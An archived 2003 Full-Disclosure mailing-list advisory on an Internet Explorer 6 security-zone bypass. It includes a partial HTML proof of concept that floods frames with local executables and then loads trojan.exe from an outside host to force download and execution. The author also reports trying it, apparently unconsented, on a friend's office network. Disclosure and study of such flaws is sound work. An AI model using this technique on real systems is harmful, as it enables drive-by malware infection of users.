[Full-Disclosure] Flooding Internet Explorer 6.0.2800 (6.x?) security zones ! - UPDATED

From: Marek Bialoglowy (mb_at_systemintegra.com)
Date: 05/14/03

  • Next message: Timo Sirainen: "[Full-Disclosure] Buffer overflows in multiple IMAP clients"
    To: <full-disclosure@lists.netsys.com>
    Date: Thu, 15 May 2003 01:44:56 +0700
    

    # UPDATED ADVISORY

    Systems Affected : Internet Explorer 6.0.2800 (6.x?)
    Remotely exploitable: Yes
    Author: Marek Bialoglowy (System Integra - mb@systemintegra.com)
    Attached files: dmz5-win2k.zip

    NOTE: Attached file dmz5-win2k.html can crash you IE, be careful with that !

    # INTRODUCTION

    This post is continuation of the information posted on Bugtraq last week.

    http://www.securityfocus.com/archive/1/320981/2003-05-08/2003-05-14/0

    I will remaind that the threat from IE 6 vulnerability is that you can FORCE
    Internet Explorer TO DOWNLOAD AND EXECUTE ANY .exe FILE. My post was not
    about flooding system with multiple IE file requests, this is just a
    technique of exploitation. The main point of my post was possibility of
    bypassing the IE security zones with multiple download requests.
    Some people had concern if this vulnerability is really critical. In this
    post I will try to proof it and also try to answer some questions.

    > How did you avoid one machine from seeing the file:// request
    > as a request for a resource from the "Local intranet Zone"?

    It can be any kind of request, not only the "file://" request but also
    "ftp://" and "http://". I've just posted example of simple technique
    exploiting this vulnerability and didn't want to show precise method of
    using this on the Internet. Actually there is a technique of exploiting it
    from the Internet. This thing could be easyly used by some worm so I didn't
    want to give worm writes clue how to do it.

    > Also, one must assume the two machines are either using the
    > same userID/password or have a trusted connection already
    > (otherwise, the file:// request wouldn't be able to see the
    > attack program.) Workstations on a LAN would not normally
    > be in this situation unless you are pointing to a file on
    > a file server they all have access to. In this case, how
    > did you get the file onto that server?

    Correct. It is not that harmfull if you think about using this vulnerability
    only trough "file://" requests. It would require to have some write access
    to "public" share on the file server os something simmilar. It doesn't
    sounds like serious threat indeed, but it still could be dangerous if you
    control some workstation in big corporate network and would like to infect
    other workstations fast.

    > Again, I don't mean to minimize the problems should it be true that
    > the Trust Zone boundary can be broken, but the threat likelihood
    > is just incredibly miniscule.

    # REMOTE EXPLOITATION

    Ok, I'll describe the technique of exploiting this vulnerability on Win2K
    via Internet ... no need to access to local network or anything. I've
    attached example HTML file in this e-mail, check dmz5-win2k.html.

    The key of Internet exploitation technique is to flood the zones table (well
    lets call it like that) with other requests before executing the real
    requests to the trojan.exe. The fastes possible request is certainly the one
    to the filesystem. So at beggining we execute around 191 of such system file
    requests:

    <FRAME SRC="C:\winnt\welcome.exe"></FRAME>
    <FRAME SRC="C:\winnt\notepad.exe"></FRAME>
    <FRAME SRC="C:\winnt\regedit.exe"></FRAME>
    ... together around 191 ... and after comes our trojan ...
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
    <FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>

    ... when someone will open such website it is very possible that trojan.exe
    will get downloaded and executed. I will also notice that this is just
    example technique and it is possible to master this to the 95% success rate.
    There are no patches for this vulnerability yet so I'm not going to provide
    the final version of this specially designed HTML page. I'll just say that
    number of 191 requests is not valid for all workstations, well I even think
    that success rate will be around 30%. There is a better technique of
    flooding security zones, which I won't describe here.

    Oh I will just mention that this probably won't work on WinXP, but there is
    another technique for WinXP which works pretty fine.

    # CONCLUSION

    Anyways on Friday I've tested that in real-life on my friends office. He
    said that no1 killed the Internet Explorer or restarted the workstation and
    all his employees were just glaring on the screen and watching how windows
    are popping-up. There was even something more surprising, they started
    sending this URL to each other and to all friends as a "JOKE" ! I got
    connections from my trojan.exe from 4 different workstations - it's small
    office.

    PS: I would be grateful for any comments. I still think that all this
    requires testing.

    Best Regards,

     Marek Bialoglowy (ultor@systemintegra.com) / IT Security Researcher
     PGPkey: http://www.systemintegra.com/pgp/ultor.asc / ID: 0x4B36656E
     JOB: (CTO) System Integra / JKT, Indonesia / Timezone: JAVT, GMT +7

    
    

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html



  • Next message: Timo Sirainen: "[Full-Disclosure] Buffer overflows in multiple IMAP clients"

    Relevant Pages